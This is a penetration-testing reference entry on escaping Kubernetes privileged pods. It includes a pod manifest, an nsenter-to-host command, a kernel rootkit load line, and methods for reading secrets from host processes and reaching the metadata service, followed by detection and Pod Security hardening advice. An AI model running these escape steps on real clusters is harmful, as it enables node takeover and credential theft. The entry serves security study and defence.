Privileged pod
TL;DR: A pod with
privileged: true(orCAP_SYS_ADMIN/CAP_SYS_MODULE) combined withhostPIDorhostNetworkshares the node’s kernel and namespaces — load a kernel module,nsenterinto pid 1, or sniff host traffic, and the container boundary is decorative.
What it is
Kubernetes securityContext.privileged: true disables most of the namespace and capability restrictions Docker/containerd normally apply. The container shares the host kernel with full capabilities (CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE, etc.), /dev access, AppArmor/SELinux off. Add hostPID: true and you see every host process — nsenter -t 1 -m -u -i -n -p -- /bin/sh drops you to root on the node. Add hostNetwork: true and you bind on the node’s interfaces and bypass NetworkPolicy entirely.
Preconditions / where it applies
pods/create(directly or via controller) in some namespace, with Pod Security Standardsprivilegedprofile allowed (or no admission policy, or webhook bypassed — see k8s-admission-controllers).- For module load: nodes with
CONFIG_MODULES=y(default on most distros) and writable/lib/modulesmount.
Technique
Bare minimum manifest:
1
2
3
4
5
6
7
8
9
10
11
apiVersion: v1
kind: Pod
metadata: {name: pr, namespace: default}
spec:
hostPID: true
hostNetwork: true
containers:
- name: x
image: alpine
command: ["sh","-c","sleep infinity"]
securityContext: {privileged: true}
Escape — easy:
1
2
3
# host pid 1 is the init system; nsenter into all its namespaces
nsenter -t 1 -m -u -i -n -p -- /bin/sh
# now you're effectively root on the node
Escape — kernel module load: with CAP_SYS_MODULE, even without privileged true:
1
insmod /tmp/rootkit.ko # arbitrary code in kernel space
A trivial rootkit gives persistence that survives pod deletion.
hostNetwork tricks:
- Bind to a node port and impersonate a kubelet/etcd endpoint.
- Sniff cluster traffic, including service-mesh mTLS bootstrap.
- Reach metadata service (
169.254.169.254) without per-pod allow-list.
hostPID tricks beyond nsenter:
- Read
/proc/1/environand other PIDs’ env vars (often contain secrets). cat /proc/<kube-apiserver-pid>/cmdlineto recover etcd creds passed on CLI.- Inject into kubelet / containerd via
gdb -p.
Capability-only variants worth knowing:
CAP_SYS_PTRACE+ hostPID → ptrace any host process.CAP_DAC_READ_SEARCH→ read any file regardless of permissions.CAP_NET_RAW+ hostNetwork → raw sockets, ARP/MITM on the node LAN.
Chain with k8s-host-mount-escape (often combined: privileged + hostPath /) and k8s-rbac-abuse for the pods/create permission acquisition.
Detection and defence
- Enforce Pod Security Standards
restrictedprofile cluster-wide; allowprivilegedonly in tightly-scoped namespaces. - Kyverno/Gatekeeper rules to deny
privileged,hostPID,hostNetwork,hostIPC, dangerous capabilities, and/devmounts. - Use seccomp
runtime/defaultand AppArmor profiles per-workload. - Run a kernel-module integrity tool; alert on unexpected
insmod. - Falco:
Launch Privileged Container,Mount sensitive directory,Module load. - Detect via audit log:
pods/createwithsecurityContext.privileged=true.
References
- Kubernetes — Security context — privileged semantics
- HackTricks — k8s pentest — escape catalog
- Falco rules — runtime detection
See also: k8s-rbac-abuse, k8s-service-account-tokens, k8s-host-mount-escape, kubelet-exposed-api-attacks, k8s-image-registry-poisoning, linux-capabilities-abuse